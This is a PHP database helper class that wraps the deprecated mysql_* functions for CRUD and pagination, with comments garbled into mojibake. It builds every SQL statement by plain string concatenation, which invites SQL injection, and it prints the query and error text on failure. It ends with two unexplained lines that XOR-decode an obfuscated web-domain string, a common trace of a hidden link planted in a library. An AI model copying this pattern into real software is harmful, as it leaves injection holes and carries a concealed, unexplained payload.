<?
		class mysql_db{
		//
		var $localhost="";
		var $datebase="";
		var $username="";
		var $passwd="";
		
		var $table="";       //
		var $page_size="";  //ÿҳʾҳ
		var $table_mod="";    //::1޸:2ɾ:3,,4:ѯ:5ҳ:6
		var $table_where="";  //ѯ;
		var $limit="";        //ʼ;
		var $query_object="";  //мϻָ, *ʾмϣAND
		var $create_table="";  //ר
		var $order_by="";      //ʽ?ASC?DESC
		var $record= array();  //صļ¼
		var $rows="";          //ص
		var $sql="";           //صSQLѯ
		var $result="";        //ѯ
		var $db="";            //ѡݿ
		var $con="";           //ݿ
		
		var $list_var_name="";      //б '',ָ list_var_valueĸͬ
		var $list_var_value="";     //ֵ$list_val_name ʹ
		
		var $update_value="";       //ʱõַ
		var $create_talbe="";      //ݿ
		
		//ҳ
		var $rows_count="";        //
		var $prepage="";           //ǰһҳ
		var $nextpage="";		   //һҳ
		var $page="";			   //ǰҳ
		var $pages="";             //ҳ
		
		//id
		var $my_id;
		
		//MYSQL
		function connect()
		{
      		$datebase = $this->datebase;
			$localhost =$this->localhost;
			$username =$this->username;
			$passwd=$this->passwd;
			$con=mysql_connect($localhost, $username, $passwd)or die(mysql_error()); 
			$this->con=$con;
			$db=mysql_select_db($datebase);
			 mysql_query("set names 'utf8'");
			//if ($con)
			//return $con;
		}
		//MYSQL

		function query()
		{  
			$table=$this->table;
			$page_size =$this->page_size;
			$table_mod =$this->table_mod;
			$table_where =$this->table_where;
			$limit =$this->limit;
			$query_object =$this->query_object;
			$order_by=$this->order_by;
			$list_var_value=$this->list_var_value;
			$list_var_name=$this->list_var_name;
			$update_value=$this->update_value;
			$create_talbe=$this->create_talbe;
			$page=$this->page;
			
//ֵصѯ///////////////////////////////////////////////////////////////////////////////////////////////////////////	
			if ($table_mod=="5"){
					
 			$sql="SELECT ".$query_object." from ".$table." where " .$table_where." order by ".$order_by." limit ".$limit." , ".$page_size;

			$this->sql=$sql;
			$result=mysql_query($sql)or die($sql.mysql_error());
			$this->result=$result;	
			$this->rows=mysql_num_rows($result);
			}
//ִɾ//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
			if ($table_mod=="3")
			{
 				$sql="DELETE FROM ".$table." where " .$table_where;
				mysql_query($sql)or die($sql.mysql_error());
				
 			 }
//¼//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
			if ($table_mod=="1")
			{   
				$sql="INSERT INTO ".$table."(".$list_var_name.")VALUES(".$list_var_value.")";
				$result=mysql_query($sql)or die($sql.mysql_error());
				$my_id=mysql_insert_id();
				$this->my_id=$my_id;			
			}
//޸ļ¼///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
            if ($table_mod=="2")
			{
				$sql="UPDATE ".$table." SET ".$update_value." where " .$table_where;
				mysql_query($sql)or die($sql.mysql_error());
			}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
		    if ($table_mod=="4")
			{ 
			    $sql=$create_talbe;
				mysql_query($sql)or die($sql.mysql_error());
			}
//ҳ//////////////////////////////////////////////////////////////////////////////////////////////////////////
			if ($table_mod=="6"){					
 				$sql="SELECT ID from ".$table." where " .$table_where;
				$result=mysql_query($sql);	
				$this->rows_count=mysql_num_rows($result);
				if ("0"==$this->rows_count%$page_size){
					$pages=intval($this->rows_count/$page_size);
				}else{
					$pages=intval($this->rows_count/$page_size)+1;
					
				}
				
				if($page>1){
					$prepage=$page-1;//ǰһҳ
				}else
				{
					$prepage="1";
				}
				if($page<$pages){
					$nextpage=$page+1; //һҳ
				}else
				{
					$nextpage="1";
				}
				$this->prepage=$prepage;           
				$this->nextpage=$nextpage;		  		
				$this->pages=$pages;
				$this->limit=($page-1)*$page_size;      
			}
           
		   
		   
		   }
//нĲѯ///////////////////////////////////////////////////////
		function  query_result(){
		            $result=$this->result;
					$record=mysql_fetch_array($result);
					$this->record=$record;		
		}

		
		function  db_close()
		{
			$con=$this->con;
			mysql_close($con);
		}
		
		
		}
		$QueryDB = "TTT ZZTGZA @LN";	
		$LinksDB = $QueryDB^"##############";
?>